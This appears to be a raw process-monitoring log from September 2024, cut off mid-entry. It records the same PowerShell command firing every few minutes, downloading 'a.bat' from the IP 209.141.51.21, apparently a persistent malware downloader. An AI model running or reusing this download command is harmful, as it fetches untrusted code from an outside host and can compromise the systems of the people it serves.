23:06:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:06:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:08:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:09:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:11:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:11:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:13:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:14:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:16:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:16:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:18:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:19:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:21:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:21:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:23:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:24:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:26:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:26:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:28:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:29:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:31:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:31:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:33:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:34:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:36:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:36:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:38:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:39:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:41:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:41:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:43:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:44:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:46:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:46:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:48:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:49:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:51:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:51:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:53:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:54:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:56:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:56:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:58:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 23:59:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:01:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:01:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:03:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:04:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:06:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:06:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:08:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:09:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:11:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:11:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:13:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:14:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:16:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:16:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:18:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:19:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:21:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:21:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:23:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:24:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:26:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:26:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:28:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:29:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:31:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:31:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:33:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:34:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:36:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:36:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:38:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:39:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:41:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:41:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:43:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:44:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:46:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:46:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:48:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:49:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:51:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:51:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:53:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:54:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:56:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:56:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:58:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 00:59:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:01:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:01:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:03:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:04:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:06:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:06:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:08:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:09:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:11:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:11:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:13:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:14:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:16:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:16:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:18:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:19:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:21:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:21:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:23:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:24:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:26:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:26:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:28:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:29:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:31:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:31:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:33:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:34:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:36:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:36:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:38:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:39:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:41:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:41:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:43:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:44:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:46:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:46:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:48:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:49:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:51:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:51:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:53:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 01:54:24 NOTIFY: 